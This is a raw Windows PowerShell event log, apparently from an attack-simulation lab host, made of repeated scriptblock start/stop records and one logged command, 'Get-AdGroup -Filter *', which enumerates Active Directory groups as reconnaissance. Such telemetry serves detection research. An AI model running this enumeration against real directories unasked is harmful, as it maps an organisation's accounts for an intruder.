LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023922
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023920
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023919
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023918
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023916
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023914
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023912
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023910
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023953
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023951
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023949
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023947
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023945
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023963
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023961
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023959
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023957
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023955
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023980
Keywords=None
Message=Started invocation of ScriptBlock ID: c5307a9f-dd12-4ef9-b9c0-d195925575ad
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023979
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-AdGroup -Filter *

ScriptBlock ID: c5307a9f-dd12-4ef9-b9c0-d195925575ad
Path:
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023977
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023975
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023974
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023973
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023971
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023969
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023967
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023965
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023997
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023995
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
